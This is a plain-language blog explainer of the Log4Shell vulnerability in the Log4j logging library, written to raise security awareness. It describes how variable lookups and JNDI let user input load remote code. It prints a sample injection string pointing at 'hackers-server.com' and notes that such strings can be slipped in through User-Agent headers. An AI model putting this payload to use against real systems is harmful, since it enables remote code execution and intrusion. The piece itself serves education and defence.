The Log4S’Hell’

The Log4SHell Hell - An overview for everyone.

Log4Shell, a.k.a the Log4J2 vulnerability announced on December 9th, is currently an extremely hot topic in the industry.

Log4j is an open-source logging framework that allows software developers to log data within their applications. You must know why your organisation may be vulnerable to attack.

This article is an attempt to shine a light on what vulnerability is in a non-technical way. If you do want to know about the absolute detail, then there are enough detailed technical breakdowns out there to explain the details of the issue.

Quick high-level summary:

Log4j is a widely used logging utility used by software engineers to facilitate the logging of messages to facilitate storing records of activity for later auditing or diagnosis. As has recently been publicised, it exposed a vulnerability that allowed external hackers to supply a path to remote code living on a server outside the network boundaries of a system and exposed a feature in Log4J that will call the code and execute it on a local server in an organisation. This code can allow access for hackers and give elevated administrative privileges allowing hackers to carry out further attacks into the system.

Many companies have been affected. To list just a few:?

• IBM – Many of its enterprise services: https://www.ibm.com/blogs/psirt/an-update-on-the-apache-log4j-cve-2021-44228-vulnerability/#Remediated-Products
• Cisco – services such as its Identity Services Engine, DNA Spaces Connector, Cisco BroadWorks, and Cisco Finesee (and many more)
• VMware, which had over 100 products affected?

?According to Check Point, a cybersecurity provider, the company has seen an attempted exploit of 46% of global corporate networks.

More alarmingly, the industries being targeted the most are education systems, Internet service providers, Banks, Value-added resellers, and military organisations. This is normally the case due to the vulnerable hacking targets these industries tend to have.

For those that want to know more...

What is this ‘Log4J’ and why is it used?

Java, a programming language, has been the predominant language used by enterprises over the last 20 years. Since most applications written in Java require logging, Log4J is a very popular and very widely used logging framework that is the go-to for most developers. The chance of a company using business software having this vulnerability is very high.

Developers use it for creating logs, so we know what is happening in the apps & services we created. We use it to detect errors, warnings and even use information in these logs to help resolve support call tickets.?

??The main reason for using Log4J is due to its maturity, ongoing maintenance, and support (since it is open sourced), and quite plainly because we do not want to reinvent the wheel and write code that does not add more value than using something off the shelf.?

A popular feature.

When we log, we pass it to text (known as a String) to be recorded to a file somewhere so that we can read it later when we need to. This text can be anything we want, but generally, it is useful text that helps us diagnose problems if they happen.

One of the excellent features that Log4j has, is the ability to pass variables to our logs to make them more understandable. Log4J will translate those variables on the fly for us to make the text we are logging more informative, for example:

As a developer, I want to be able to log a message that states a transaction with Id "ABC" has started and finished. I could log something like this:

Log.Info("Transaction with Id ${TransactionId} has started.")

// DO SOME TRANSACTION WORK HERE

Log.Info("Transaction with Id ${TransactionId} has completed.")
        

Log4j will translate these log texts for me, replacing “${TransactionId}” with “ABC”, and the resulting text will be saved to a file as follows:

INFO - Transaction with Id ABC has started.

INFO - Transaction with Id ABC has completed.
        

This is incredibly useful for us developers; It makes the logs more understandable because it has more context, and if we wanted to search for logs that contain this transaction Id, it becomes that much easier to do so.

What is the vulnerability?

Before we explain what the actual vulnerability is, it is good to know about a favourite vulnerability type that a hacker just loves;It is called “Remote Code Execution”. It is a vulnerability that is always executed from automated tools (yes, in this case, Log4J), and typically written in automation scripts (yes, our favourite variable translation feature mentioned above).

The hacker’s intent here is to execute some code that can give them remote administrative access to a vulnerable system. I’m sure you can use your imagination on what this could mean, but let me give you some examples:

• They can steal your data
• They can open more parts of our system for further access and attacks
• They can encrypt all your data and hold you at ransom until you pay them to unencrypt it.
• If it is a financial platform – bye-bye money!

To summarise, it is hard for a vulnerability to become more critical than this.

How does the vulnerability work?

The vulnerability, as alluded to is a remote code execution vulnerability.?

As mentioned above, one of our favourite features with Log4J is the ability to pass in variables that enriches our logs to make them more informative when it comes to diagnosing issues within our system. The vulnerability lies within the translation that Log4J does when saving logs to a file.

Without going into the lower-level detail, I will explain at a high-level view what happens. Let us take a real example.

Let us say, as a developer, I want to log the current hostname of the machine that is executing my code. This could help me determine which server the code was running on.

I could log something such as:

Log.Info("Hostname: ${env.Hostname}")
        

As you can see, I am passing “env: hostname” as a variable into the log, so that Log4J can render the actual value for me.?

What is interesting here is that I can pass a special variable called a “Java Class”. Java is a programming language and a Class containing actual code to be executed. When this message is being translated by Log4J, Java itself will execute the class to get the resulting variable value. In this case, the rendered text would look something like this:

INFO - Hostname: ApacheServer
        

Ok, so far so good.

One important thing to note – When Java executes the class, it executes the code within the class as well! Keep this in mind for the next step, which exposes the vulnerability.

The logging system that Log4J uses makes use of a distinctive feature called JNDI. You do not need to understand the full details of what this acronym means, but more to understand the role it plays in this vulnerability. This JNDI feature is a special service used for looking up and accessing Java classes. It allows us to retrieve Java classes that may be sitting on a remote server in our system.

An example log could look like the following:

Log.Info("Some log: ${jdni:ldap//127.0.0.1/some/safe/internal/java/class}")
        

Do not worry too much about the syntax or the funny long text. What is key to understanding here is that I have intentionally asked Log4J to translate the value of that class for me. Since this class is MY Java class, on MY server, all is good, and we can carry on with the day as per normal.

The actual hack!

The vulnerability comes when I am not in control of the information passed into the log. An example of this is when I am logging information that an end-user has entered. This could be something like a user registering for your app or service. On the registration form, they could add information that you want to log. Let us take this as an example.

?Below is a registration form where I am asking someone for registration details:

As a developer, I may want to log the user’s username. Something like this:

Log.Info("New registration by: ${UserName}").
        

LogJ4 will do its thing and render the text as:?

INFO - New registration by davidturner01        

This seems pretty harmless to do (although it’s best not to log this type of information - this is purely for showing an example).?

Now, taking the same example, let us play the scenario as a hacker. I fill out my form as follows:

As you can see, the hacker can supply a path to a remote Java class, and when I come to log as I did before, the executing result would be:

Log.Info("New registration by: ${jndi:ldap://hackers-server.com/malicious/java/class}")?        

LogJ4 will do its thing again and render the text, except this time it will call the remote java class and execute its code. BOOM - hacked!

The code here is controlled by the hacker. Using this code, they can give themselves access to your vulnerable service and start their journey within your system.

Conclusion

This article aimed to explain the vulnerability without going into too much detail on how it is done technically. It is important to highlight the fact that vulnerabilities exist everywhere, and this certainly is not the first or last that we will see.

We used an easy-to-understand example here. The reality is that vulnerability comes from other places that an attacker can control. These are things that you may never see. For example, every time you load a web page your browser sends a "User-Agent" string that tells the server what kind of browser you are using. This information is useful to companies trying to understand their audience, so it is often logged. A hacker realising this might manipulate the User-Agent string they send to include a JNDI link to malicious code. These are things you do not see on a day-to-day basis but feel when they come to the surface because of an attack. It is why security is taken seriously by CTOs and tech departments, and why we tend to be more reserved/careful when it comes to production system changes. We cover the “unseen” of security, so you do not have to.

?Cyber-security is a hot topic that is increasingly raising awareness of the roles we play. There is no such thing as shying away from these types of vulnerabilities anymore, as they affect us all. There is a constant need to educate ourselves and keep on top of security, whether we are technical or non-technical personal.

?